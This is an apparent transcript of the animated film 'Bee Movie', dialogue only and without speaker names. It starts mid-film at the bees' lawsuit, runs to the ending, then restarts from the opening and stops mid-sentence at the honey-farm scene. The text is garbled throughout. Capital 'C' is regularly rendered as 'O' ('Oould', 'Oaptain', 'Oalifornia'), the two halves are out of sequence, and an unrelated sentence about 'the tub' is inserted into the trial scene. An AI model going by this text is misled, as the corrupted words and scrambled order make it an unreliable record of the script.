artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.

According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do 